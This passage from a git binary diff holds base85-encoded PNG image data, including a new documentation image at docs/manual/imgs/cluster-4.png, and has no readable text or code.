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 UEWXTA&Wzi2H4QZiZ`cI?2Qc?Vz5oCK literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/cluster-4.png b/docs/manual/imgs/cluster-4.png new file mode 100644 index 0000000000000000000000000000000000000000..0f9dbfa027c1b8a378a920fa0abe276c10645c88 GIT binary patch literal 150771 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 